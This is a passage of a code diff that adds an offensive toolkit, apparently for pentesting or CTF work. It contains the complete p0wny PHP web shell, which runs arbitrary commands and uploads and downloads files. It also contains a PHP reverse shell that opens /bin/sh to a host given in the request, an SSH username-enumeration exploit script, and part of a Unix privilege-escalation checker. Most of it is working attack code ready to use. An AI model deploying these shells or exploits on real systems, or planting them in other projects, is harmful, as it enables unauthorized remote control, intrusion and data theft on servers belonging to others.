+    *) lse_help; exit 1;;
+  esac
+done
+
+#trap to exec on SIGINT
+trap "lse_exit 1" SIGINT
+
+lse_request_information
+lse_show_info
+PATH="$PATH:/sbin:/usr/sbin" #fix path just in case
+
+lse_run_tests_users
+lse_run_tests_sudo
+lse_run_tests_filesystem
+lse_run_tests_system
+lse_run_tests_security
+lse_run_tests_recurrent_tasks
+lse_run_tests_network
+lse_run_tests_services
+lse_run_tests_processes
+lse_run_tests_software
+lse_run_tests_containers
+
+lse_exit 0
+#)

+ 460 - 0
p0wny-shell.php

@@ -0,0 +1,460 @@
+<?php
+
+function featureShell($cmd, $cwd) {
+    $stdout = array();
+
+    if (preg_match("/^\s*cd\s*$/", $cmd)) {
+        // pass
+    } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
+        chdir($cwd);
+        preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
+        chdir($match[1]);
+    } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
+        chdir($cwd);
+        preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
+        return featureDownload($match[1]);
+    } else {
+        chdir($cwd);
+        exec($cmd, $stdout);
+    }
+
+    return array(
+        "stdout" => $stdout,
+        "cwd" => getcwd()
+    );
+}
+
+function featurePwd() {
+    return array("cwd" => getcwd());
+}
+
+function featureHint($fileName, $cwd, $type) {
+    chdir($cwd);
+    if ($type == 'cmd') {
+        $cmd = "compgen -c $fileName";
+    } else {
+        $cmd = "compgen -f $fileName";
+    }
+    $cmd = "/bin/bash -c \"$cmd\"";
+    $files = explode("\n", shell_exec($cmd));
+    return array(
+        'files' => $files,
+    );
+}
+
+function featureDownload($filePath) {
+    $file = @file_get_contents($filePath);
+    if ($file === FALSE) {
+        return array(
+            'stdout' => array('File not found / no read permission.'),
+            'cwd' => getcwd()
+        );
+    } else {
+        return array(
+            'name' => basename($filePath),
+            'file' => base64_encode($file)
+        );
+    }
+}
+
+function featureUpload($path, $file, $cwd) {
+    chdir($cwd);
+    $f = @fopen($path, 'wb');
+    if ($f === FALSE) {
+        return array(
+            'stdout' => array('Invalid path / no write permission.'),
+            'cwd' => getcwd()
+        );
+    } else {
+        fwrite($f, base64_decode($file));
+        fclose($f);
+        return array(
+            'stdout' => array('Done.'),
+            'cwd' => getcwd()
+        );
+    }
+}
+
+if (isset($_GET["feature"])) {
+
+    $response = NULL;
+
+    switch ($_GET["feature"]) {
+        case "shell":
+            $cmd = $_POST['cmd'];
+            if (!preg_match('/2>/', $cmd)) {
+                $cmd .= ' 2>&1';
+            }
+            $response = featureShell($cmd, $_POST["cwd"]);
+            break;
+        case "pwd":
+            $response = featurePwd();
+            break;
+        case "hint":
+            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
+            break;
+        case 'upload':
+            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
+    }
+
+    header("Content-Type: application/json");
+    echo json_encode($response);
+    die();
+}
+
+?><!DOCTYPE html>
+
+<html>
+
+    <head>
+        <meta charset="UTF-8" />
+        <title>p0wny@shell:~#</title>
+        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
+        <style>
+            html, body {
+                margin: 0;
+                padding: 0;
+                background: #333;
+                color: #eee;
+                font-family: monospace;
+            }
+
+            #shell {
+                background: #222;
+                max-width: 800px;
+                margin: 50px auto 0 auto;
+                box-shadow: 0 0 5px rgba(0, 0, 0, .3);
+                font-size: 10pt;
+                display: flex;
+                flex-direction: column;
+                align-items: stretch;
+            }
+
+            #shell-content {
+                height: 500px;
+                overflow: auto;
+                padding: 5px;
+                white-space: pre-wrap;
+                flex-grow: 1;
+            }
+
+            #shell-logo {
+                font-weight: bold;
+                color: #FF4180;
+                text-align: center;
+            }
+
+            @media (max-width: 991px) {
+                #shell-logo {
+                    display: none;
+                }
+
+                html, body, #shell {
+                    height: 100%;
+                    width: 100%;
+                    max-width: none;
+                }
+
+                #shell {
+                    margin-top: 0;
+                }
+            }
+
+            @media (max-width: 767px) {
+                #shell-input {
+                    flex-direction: column;
+                }
+            }
+
+            .shell-prompt {
+                font-weight: bold;
+                color: #75DF0B;
+            }
+
+            .shell-prompt > span {
+                color: #1BC9E7;
+            }
+
+            #shell-input {
+                display: flex;
+                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
+                border-top: rgba(255, 255, 255, .05) solid 1px;
+            }
+
+            #shell-input > label {
+                flex-grow: 0;
+                display: block;
+                padding: 0 5px;
+                height: 30px;
+                line-height: 30px;
+            }
+
+            #shell-input #shell-cmd {
+                height: 30px;
+                line-height: 30px;
+                border: none;
+                background: transparent;
+                color: #eee;
+                font-family: monospace;
+                font-size: 10pt;
+                width: 100%;
+                align-self: center;
+            }
+
+            #shell-input div {
+                flex-grow: 1;
+                align-items: stretch;
+            }
+
+            #shell-input input {
+                outline: none;
+            }
+        </style>
+
+        <script>
+            var CWD = null;
+            var commandHistory = [];
+            var historyPosition = 0;
+            var eShellCmdInput = null;
+            var eShellContent = null;
+
+            function _insertCommand(command) {
+                eShellContent.innerHTML += "\n\n";
+                eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
+                eShellContent.innerHTML += escapeHtml(command);
+                eShellContent.innerHTML += "\n";
+                eShellContent.scrollTop = eShellContent.scrollHeight;
+            }
+
+            function _insertStdout(stdout) {
+                eShellContent.innerHTML += escapeHtml(stdout);
+                eShellContent.scrollTop = eShellContent.scrollHeight;
+            }
+
+            function featureShell(command) {
+
+                _insertCommand(command);
+                if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
+                    featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
+                } else if (/^\s*clear\s*$/.test(command)) {
+                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
+                    eShellContent.innerHTML = '';
+                } else {
+                    makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
+                        if (response.hasOwnProperty('file')) {
+                            featureDownload(response.name, response.file)
+                        } else {
+                            _insertStdout(response.stdout.join("\n"));
+                            updateCwd(response.cwd);
+                        }
+                    });
+                }
+            }
+
+            function featureHint() {
+                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete
+
+                function _requestCallback(data) {
+                    if (data.files.length <= 1) return;  // no completion
+
+                    if (data.files.length === 2) {
+                        if (type === 'cmd') {
+                            eShellCmdInput.value = data.files[0];
+                        } else {
+                            var currentValue = eShellCmdInput.value;
+                            eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
+                        }
+                    } else {
+                        _insertCommand(eShellCmdInput.value);
+                        _insertStdout(data.files.join("\n"));
+                    }
+                }
+
+                var currentCmd = eShellCmdInput.value.split(" ");
+                var type = (currentCmd.length === 1) ? "cmd" : "file";
+                var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
+
+                makeRequest(
+                    "?feature=hint",
+                    {
+                        filename: fileName,
+                        cwd: CWD,
+                        type: type
+                    },
+                    _requestCallback
+                );
+
+            }
+
+            function featureDownload(name, file) {
+                var element = document.createElement('a');
+                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
+                element.setAttribute('download', name);
+                element.style.display = 'none';
+                document.body.appendChild(element);
+                element.click();
+                document.body.removeChild(element);
+                _insertStdout('Done.');
+            }
+
+            function featureUpload(path) {
+                var element = document.createElement('input');
+                element.setAttribute('type', 'file');
+                element.style.display = 'none';
+                document.body.appendChild(element);
+                element.addEventListener('change', function () {
+                    var promise = getBase64(element.files[0]);
+                    promise.then(function (file) {
+                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
+                            _insertStdout(response.stdout.join("\n"));
+                            updateCwd(response.cwd);
+                        });
+                    }, function () {
+                        _insertStdout('An unknown client-side error occurred.');
+                    });
+                });
+                element.click();
+                document.body.removeChild(element);
+            }
+
+            function getBase64(file, onLoadCallback) {
+                return new Promise(function(resolve, reject) {
+                    var reader = new FileReader();
+                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
+                    reader.onerror = reject;
+                    reader.readAsDataURL(file);
+                });
+            }
+
+            function genPrompt(cwd) {
+                cwd = cwd || "~";
+                var shortCwd = cwd;
+                if (cwd.split("/").length > 3) {
+                    var splittedCwd = cwd.split("/");
+                    shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
+                }
+                return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
+            }
+
+            function updateCwd(cwd) {
+                if (cwd) {
+                    CWD = cwd;
+                    _updatePrompt();
+                    return;
+                }
+                makeRequest("?feature=pwd", {}, function(response) {
+                    CWD = response.cwd;
+                    _updatePrompt();
+                });
+
+            }
+
+            function escapeHtml(string) {
+                return string
+                    .replace(/&/g, "&amp;")
+                    .replace(/</g, "&lt;")
+                    .replace(/>/g, "&gt;");
+            }
+
+            function _updatePrompt() {
+                var eShellPrompt = document.getElementById("shell-prompt");
+                eShellPrompt.innerHTML = genPrompt(CWD);
+            }
+
+            function _onShellCmdKeyDown(event) {
+                switch (event.key) {
+                    case "Enter":
+                        featureShell(eShellCmdInput.value);
+                        insertToHistory(eShellCmdInput.value);
+                        eShellCmdInput.value = "";
+                        break;
+                    case "ArrowUp":
+                        if (historyPosition > 0) {
+                            historyPosition--;
+                            eShellCmdInput.blur();
+                            eShellCmdInput.focus();
+                            eShellCmdInput.value = commandHistory[historyPosition];
+                        }
+                        break;
+                    case "ArrowDown":
+                        if (historyPosition >= commandHistory.length) {
+                            break;
+                        }
+                        historyPosition++;
+                        if (historyPosition === commandHistory.length) {
+                            eShellCmdInput.value = "";
+                        } else {
+                            eShellCmdInput.blur();
+                            eShellCmdInput.focus();
+                            eShellCmdInput.value = commandHistory[historyPosition];
+                        }
+                        break;
+                    case 'Tab':
+                        event.preventDefault();
+                        featureHint();
+                        break;
+                }
+            }
+
+            function insertToHistory(cmd) {
+                commandHistory.push(cmd);
+                historyPosition = commandHistory.length;
+            }
+
+            function makeRequest(url, params, callback) {
+                function getQueryString() {
+                    var a = [];
+                    for (var key in params) {
+                        if (params.hasOwnProperty(key)) {
+                            a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
+                        }
+                    }
+                    return a.join("&");
+                }
+                var xhr = new XMLHttpRequest();
+                xhr.open("POST", url, true);
+                xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
+                xhr.onreadystatechange = function() {
+                    if (xhr.readyState === 4 && xhr.status === 200) {
+                        try {
+                            var responseJson = JSON.parse(xhr.responseText);
+                            callback(responseJson);
+                        } catch (error) {
+                            alert("Error while parsing response: " + error);
+                        }
+                    }
+                };
+                xhr.send(getQueryString());
+            }
+
+            window.onload = function() {
+                eShellCmdInput = document.getElementById("shell-cmd");
+                eShellContent = document.getElementById("shell-content");
+                updateCwd();
+                eShellCmdInput.focus();
+            };
+        </script>
+    </head>
+
+    <body>
+        <div id="shell">
+            <pre id="shell-content">
+                <div id="shell-logo">
+        ___                         ____      _          _ _        _  _   <span></span>
+ _ __  / _ \__      ___ __  _   _  / __ \ ___| |__   ___| | |_ /\/|| || |_ <span></span>
+| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_  ..  _|<span></span>
+| |_) | |_| |\ V  V /| | | | |_| | | (_| \__ \ | | |  __/ | |_   |_      _|<span></span>
+| .__/ \___/  \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_)    |_||_|  <span></span>
+|_|                         |___/  \____/                                  <span></span>
+                </div>
+            </pre>
+            <div id="shell-input">
+                <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
+                <div>
+                    <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
+                </div>
+            </div>
+        </div>
+    </body>
+
+</html>

+ 189 - 0
php-reverse-shell.php

@@ -0,0 +1,189 @@
+<?php
+// php-reverse-shell - A Reverse Shell implementation in PHP
+// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
+//
+// This tool may be used for legal purposes only.  Users take full responsibility
+// for any actions performed using this tool.  The author accepts no liability
+// for damage caused by this tool.  If these terms are not acceptable to you, then
+// do not use this tool.
+//
+// In all other respects the GPL version 2 applies:
+//
+// This program is free software; you can redistribute it and/or modify
+// it under the terms of the GNU General Public License version 2 as
+// published by the Free Software Foundation.
+//
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License along
+// with this program; if not, write to the Free Software Foundation, Inc.,
+// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+//
+// This tool may be used for legal purposes only.  Users take full responsibility
+// for any actions performed using this tool.  If these terms are not acceptable to
+// you, then do not use this tool.
+//
+// You are encouraged to send comments, improvements or suggestions to
+// me at pentestmonkey@pentestmonkey.net
+//
+// Description
+// -----------
+// This script will make an outbound TCP connection to a hardcoded IP and port.
+// The recipient will be given a shell running as the current user (apache normally).
+//
+// Limitations
+// -----------
+// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
+// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
+//
+// Usage
+// -----
+// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
+
+set_time_limit (0);
+$VERSION = "1.0";
+$ip = $_GET["LHOST"];
+$port = intval($_GET["LPORT"]);
+$chunk_size = 1400;
+$write_a = null;
+$error_a = null;
+$shell = 'uname -a; w; id; /bin/sh -i';
+$daemon = 0;
+$debug = 0;
+
+//
+// Daemonise ourself if possible to avoid zombies later
+//
+
+// pcntl_fork is hardly ever available, but will allow us to daemonise
+// our php process and avoid zombies.  Worth a try...
+if (function_exists('pcntl_fork')) {
+	// Fork and have the parent process exit
+	$pid = pcntl_fork();
+
+	if ($pid == -1) {
+		printit("ERROR: Can't fork");
+		exit(1);
+	}
+
+	if ($pid) {
+		exit(0);  // Parent exits
+	}
+
+	// Make the current process a session leader
+	// Will only succeed if we forked
+	if (posix_setsid() == -1) {
+		printit("Error: Can't setsid()");
+		exit(1);
+	}
+
+	$daemon = 1;
+} else {
+	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
+}
+
+// Change to a safe directory
+chdir("/");
+
+// Remove any umask we inherited
+umask(0);
+
+//
+// Do the reverse shell...
+//
+
+// Open reverse connection
+$sock = fsockopen($ip, $port, $errno, $errstr, 30);
+if (!$sock) {
+	printit("$errstr ($errno)");
+	exit(1);
+}
+
+// Spawn shell process
+$descriptorspec = array(
+   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
+   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
+   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
+);
+
+$process = proc_open($shell, $descriptorspec, $pipes);
+
+if (!is_resource($process)) {
+	printit("ERROR: Can't spawn shell");
+	exit(1);
+}
+
+// Set everything to non-blocking
+// Reason: Occsionally reads will block, even though stream_select tells us they won't
+stream_set_blocking($pipes[0], 0);
+stream_set_blocking($pipes[1], 0);
+stream_set_blocking($pipes[2], 0);
+stream_set_blocking($sock, 0);
+
+printit("Successfully opened reverse shell to $ip:$port");
+
+while (1) {
+	// Check for end of TCP connection
+	if (feof($sock)) {
+		printit("ERROR: Shell connection terminated");
+		break;
+	}
+
+	// Check for end of STDOUT
+	if (feof($pipes[1])) {
+		printit("ERROR: Shell process terminated");
+		break;
+	}
+
+	// Wait until a command is end down $sock, or some
+	// command output is available on STDOUT or STDERR
+	$read_a = array($sock, $pipes[1], $pipes[2]);
+	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
+
+	// If we can read from the TCP socket, send
+	// data to process's STDIN
+	if (in_array($sock, $read_a)) {
+		if ($debug) printit("SOCK READ");
+		$input = fread($sock, $chunk_size);
+		if ($debug) printit("SOCK: $input");
+		fwrite($pipes[0], $input);
+	}
+
+	// If we can read from the process's STDOUT
+	// send data down tcp connection
+	if (in_array($pipes[1], $read_a)) {
+		if ($debug) printit("STDOUT READ");
+		$input = fread($pipes[1], $chunk_size);
+		if ($debug) printit("STDOUT: $input");
+		fwrite($sock, $input);
+	}
+
+	// If we can read from the process's STDERR
+	// send data down tcp connection
+	if (in_array($pipes[2], $read_a)) {
+		if ($debug) printit("STDERR READ");
+		$input = fread($pipes[2], $chunk_size);
+		if ($debug) printit("STDERR: $input");
+		fwrite($sock, $input);
+	}
+}
+
+fclose($sock);
+fclose($pipes[0]);
+fclose($pipes[1]);
+fclose($pipes[2]);
+proc_close($process);
+
+// Like print, but does nothing if we've daemonised ourself
+// (I can't figure out how to redirect STDOUT like a proper daemon)
+function printit ($string) {
+	if (!$daemon) {
+		print "$string\n";
+	}
+}
+
+?>

BIN
pspy64


+ 87 - 0
ssh-check-username.py

@@ -0,0 +1,87 @@
+#!/usr/bin/python3
+import multiprocessing
+import threading
+import time
+import os
+import argparse
+import logging
+import paramiko
+import socket
+import sys
+import pdb
+
+arg_parser = argparse.ArgumentParser()
+arg_parser.add_argument('-t',dest='hostname', type=str, help='Single target')
+arg_parser.add_argument('-p',dest='port', type=int, default=22, help='port to connect on: Default port is 22')
+arg_parser.add_argument('-u',dest='username', type=str, help='username you want to enumerate')
+arg_parser.add_argument('-w',dest='wordlist', help='enumerate multiple users')
+args = arg_parser.parse_args()
+port = args.port
+target = args.hostname
+
+class InvalidUsername(Exception):
+    pass
+
+
+def add_boolean(*args, **kwargs):
+    pass
+
+
+old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
+        paramiko.common.MSG_SERVICE_ACCEPT]
+
+def service_accept(*args, **kwargs):
+    paramiko.message.Message.add_boolean = add_boolean
+    return old_service_accept(*args, **kwargs)
+
+
+def userauth_failure(*args, **kwargs):
+    raise InvalidUsername()
+
+
+def _paramiko_tunnel(username, *args, **kwargs):
+    sock = socket.socket()
+    sock.connect((target, port))
+    us = username.strip()
+    try:
+        transport = paramiko.transport.Transport(sock)
+    except socket.error:
+        print ('[-] Failed to connect')
+        return
+    try:
+        transport.start_client()
+    except paramiko.ssh_exception.SSHException:
+        print ('[-] Failed to negotiate SSH transport')
+        return
+    try:
+        transport.auth_publickey(us, paramiko.RSAKey.generate(2048))
+    except InvalidUsername:
+        print ('[*] {} - Invalid username'.format(us))
+    except paramiko.ssh_exception.AuthenticationException:
+        print ('[+] {} - Valid username'.format(us))
+        return
+
+
+paramiko.auth_handler.AuthHandler._handler_table.update({
+    paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
+    paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
+})
+
+logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
+
+if args.username is not None:
+    username = args.username
+    _paramiko_tunnel(target, port, username)
+
+if args.wordlist is not None:
+    usernames = []
+    mp = []
+    pool = multiprocessing.Pool(5)
+    with open(args.wordlist) as f:
+        for u in f:
+            usernames.append(u)
+        pool.map(_paramiko_tunnel, usernames)
+
+        
+
+

+ 1086 - 0
unix-privesc-check.sh

@@ -0,0 +1,1086 @@
+#!/bin/sh
+# unix-privesc-check - Checks Unix system for simple privilege escalations
+# Copyright (C) 2008 pentestmonkey@pentestmonkey.net
+#
+#
+# License
+# -------
+# This tool may be used for legal purposes only.  Users take full responsibility
+# for any actions performed using this tool.  The author accepts no liability
+# for damage caused by this tool.  If you do not accept these condition then
+# you are prohibited from using this tool.
+#
+# In all other respects the GPL version 2 applies:
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2 as
+# published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License along
+# with this program; if not, write to the Free Software Foundation, Inc.,
+# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+#
+# You are encouraged to send comments, improvements or suggestions to
+# me at pentestmonkey@pentestmonkey.net
+#
+#
+# Description
+# -----------
+# Auditing tool to check for weak file permissions and other problems that
+# may allow local attackers to escalate privileges.
+#
+# It is intended to be run by security auditors and pentetration testers
+# against systems they have been engaged to assess, and also by system
+# admnisitrators who want to check for "obvious" misconfigurations.  It
+# can even be run as a cron job so you can check regularly for misconfigurations
+# that might be introduced.
+#
+# Ensure that you have the appropriate legal permission before running it
+# someone else's system.
+#
+# TODO List
+# ---------
+# There's still plenty that this script doesn't do...
+# - Doesn't work for shell scripts!  These appear as "/bin/sh my.sh" in the process listing.
+#   This script only checks the perms of /bin/sh.  Not what we're after.  :-(
+# - Similarly for perl scripts.  Probably python, etc. too.
+# - Check /proc/pid/cmdline for absolute path names.  Check security of these (e.g. /etc/snmp/snmpd.conf)
+# - Check everything in root's path - how to find root's path?
+# - /proc/pid/maps, smaps are readable and lists some shared objects.  We should check these.
+# - /proc/pid/fd contain symlinks to all open files (but you can't see other people FDs)
+# - check for trust relationships in /etc/hosts.equiv
+# - NFS imports / exports / automounter
+# - Insecure stuff in /etc/fstab (e.g. allowing users to mount file systems)
+# - Inspecting people's PATH.  tricky.  maybe read from /proc/pid/environ, .bashrc, /etc/profile, .bash_profile
+# - Check if /etc/init.d/* scripts are readable.  Advise user to audit them if they are.
+# - .exrc?
+# - X11 trusts, apache passwd files, mysql trusts?
+# - Daemons configured in an insecure way: tftpd, sadmind, rexd
+# - World writable dirs aren't as bad if the sticky bit is set.  Check for this before reporting vulns.
+# - Maybe do a strings of binaries (and their .so's?)
+# - Do a better job of parsing cron lines - search for full paths
+# - Maybe LDPATHs from /etc/env.d
+# - Check if ldd, ld.so.conf changes have broken this script on non-linux systems.
+# - Avoid check certain paths e.g. /-/_ clearly isn't a real directory.
+# - create some sort of readable report
+# - indicate when it's likely a result is a false positive and when it's not.
+# - Skip pseudo processes e.g. [usb-storage]
+# - File permission on kernel modules
+# - Replace calls to echo with a my_echo func.  Should be passed a string and an "importance" value:
+#   - my_echo 1 "This is important and should always be printed out"
+#   - my_echo 2 "This is less important and should only be printed in verbose mode"
+# - We check some files / dirs multiple times.  Slow.  Can we implement a cache?
+# - grep for PRIVATE KEY to find private ssh and ssl keys.  Where to grep?
+# - check SGID programs
+
+VERSION="1.4"
+HOME_DIR_FILES=".netrc .ssh/id_rsa .ssh/id_dsa .rhosts .shosts .my.cnf .ssh/authorized_keys .bash_history .sh_history .forward"
+CONFIG_FILES="/etc/passwd /etc/group /etc/master.passwd /etc/inittab /etc/inetd.conf /etc/xinetd.con /etc/xinetd.d/* /etc/contab /etc/fstab /etc/profile /etc/sudoers"
+PGDIRS="/usr/local/pgsql/data ~postgres/postgresql/data ~postgres/data ~pgsql/data ~pgsql/pgsql/data /var/lib/postgresql/data /etc/postgresql/8.2/main /var/lib/pgsql/data"
+
+get_owner () {
+	GET_OWNER_FILE=$1
+	GET_OWNER_RETURN=`ls -lLd "$GET_OWNER_FILE" | awk '{print $3}'`
+}
+
+get_group () {
+	GET_GROUP_FILE=$1
+	GET_GROUP_RETURN=`ls -lLd "$GET_GROUP_FILE" | awk '{print $4}'`
+}
+
+usage () {
+	echo "unix-privesc-check v$VERSION ( http://pentestmonkey.net/tools/unix-privesc-check )"
+	echo
+	echo "Usage: unix-privesc-check { standard | detailed }"
+	echo
+	echo '"standard" mode: Speed-optimised check of lots of security settings.'
+	echo
+	echo '"detailed" mode: Same as standard mode, but also checks perms of open file'
+	echo '                 handles and called files (e.g. parsed from shell scripts,'
+	echo '                 linked .so files).  This mode is slow and prone to false '
+	echo '                 positives but might help you find more subtle flaws in 3rd'
+	echo '                 party programs.'
+	echo
+	echo "This script checks file permissions and other settings that could allow"
+	echo "local users to escalate privileges."
+	echo
+	echo "Use of this script is only permitted on systems which you have been granted"
+	echo "legal permission to perform a security assessment of.  Apart from this "
+	echo "condition the GPL v2 applies."
+	echo
+	echo "Search the output for the word 'WARNING'.  If you don't see it then this"
+	echo "script didn't find any problems."
+	echo
+}
+
+banner () {
+	echo "Starting unix-privesc-check v$VERSION ( http://pentestmonkey.net/tools/unix-privesc-check )"
+	echo
+	echo "This script checks file permissions and other settings that could allow"
+	echo "local users to escalate privileges."
+	echo
+	echo "Use of this script is only permitted on systems which you have been granted"
+	echo "legal permission to perform a security assessment of.  Apart from this "
+	echo "condition the GPL v2 applies."
+	echo
+	echo "Search the output below for the word 'WARNING'.  If you don't see it then"
+	echo "this script didn't find any problems."
+	echo
+}
+
+MODE="standard"
+
+if [ ! "$MODE" = "standard" ] && [ ! "$MODE" = "detailed" ]; then
+	usage
+	exit 0
+fi
+
+# Parse any full paths from $1 (config files, progs, dirs).
+# Check the permissions on each of these.
+check_called_programs () {
+	CCP_MESSAGE_STACK=$1
+	CCP_FILE=$2
+	CCP_USER=$3
+	CCP_PATH=$4 # optional
+
+	# Check the perms of the supplied file regardless
+	# The caller doesn't want to have to call check_perms as well as check_called_programs
+	check_perms "$CCP_MESSAGE_STACK" "$CCP_FILE" "$CCP_USER" "$CCP_PATH"
+
+	# Skip the slow check if we're in quick mode
+	if [ "$MODE" = "standard" ]; then
+		return 0;
+	fi
+
+	# Check if file is text or not
+	IS_TEXT=`file "$CCP_FILE" | grep -i text`
+	IS_DYNBIN=`file "$CCP_FILE" | grep -i 'dynamically linked'`
+
+	# Process shell scripts (would also work on config files that reference other files)
+	if [ ! -z "$IS_TEXT" ]; then
+		# Parse full paths from file - ignoring commented lines
+		CALLED_FILES=`grep -v '^#' "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u`
+		for CALLED_FILE in $CALLED_FILES; do
+			# echo "$CCP_FILE contains a reference to $CALLED_FILE.  Checking perms."
+			check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH"
+		done
+	else
+		# Process dynamically linked binaries
+		if [ ! -z "$IS_DYNBIN" ]; then
+
+			CALLED_FILES=`ldd "$CCP_FILE" 2>/dev/null | grep '/' | sed 's/[^\/]*\//\//' | cut -f 1 -d ' '`
+			for CALLED_FILE in $CALLED_FILES; do
+				check_perms "$CCP_MESSAGE_STACK $CCP_FILE uses the library $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH"
+			done
+
+			# Strings binary to look for hard-coded config files
+			# or other programs that might be called.
+			for CALLED_FILE in `strings "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u`; do
+				check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH"
+			done
+		fi
+	fi
+}
+
+# Parse any full paths from $1 (config files, progs, dirs).
+# Check the permissions on each of these.
+check_called_programs_suid () {
+	CCP_FILE=$1
+	CCP_PATH=$2 # optional
+
+	get_owner $CCP_FILE; CCP_USER=$GET_OWNER_RETURN
+	CCP_MESSAGE_STACK="$CCP_FILE is SUID $CCP_USER."
+	LS=`ls -l $CCP_FILE`
+	echo "Checking SUID-$CCP_USER program $CCP_FILE: $LS"
+
+	# Don't check perms of executable itself
+	# check_perms "$CCP_MESSAGE_STACK" "$CCP_FILE" "$CCP_USER" "$CCP_PATH"
+
+	# Check if file is text or not
+	IS_TEXT=`file "$CCP_FILE" | grep -i text`
+	IS_DYNBIN=`file "$CCP_FILE" | grep -i 'dynamically linked'`
+
+	# Process shell scripts (would also work on config files that reference other files)
+	if [ ! -z "$IS_TEXT" ]; then
+		# Skip the slow check if we're in quick mode
+		if [ "$MODE" = "standard" ]; then
+			return 0;
+		fi
+
+		# Parse full paths from file - ignoring commented lines
+		CALLED_FILES=`grep -v '^#' "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u`
+		for CALLED_FILE in $CALLED_FILES; do
+			# echo "$CCP_FILE contains a reference to $CALLED_FILE.  Checking perms."
+			check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH"
+		done
+	else
+		# Process dynamically linked binaries
+		if [ ! -z "$IS_DYNBIN" ]; then
+
+			CALLED_FILES=`ldd "$CCP_FILE" 2>/dev/null | grep '/' | sed 's/[^\/]*\//\//' | cut -f 1 -d ' '`
+			for CALLED_FILE in $CALLED_FILES; do
+				check_perms "$CCP_MESSAGE_STACK $CCP_FILE uses the library $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH"
+			done
+
+			# Skip the slow check if we're in quick mode
+			if [ "$MODE" = "standard" ]; then
+				return 0;
+			fi
+
+			# Strings binary to look for hard-coded config files
+			# or other programs that might be called.
+			for CALLED_FILE in `strings "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u`; do
+				check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH"
+			done
+		fi
+	fi
+}
+
+# Check if $1 can be changed by users who are not $2
+check_perms () {
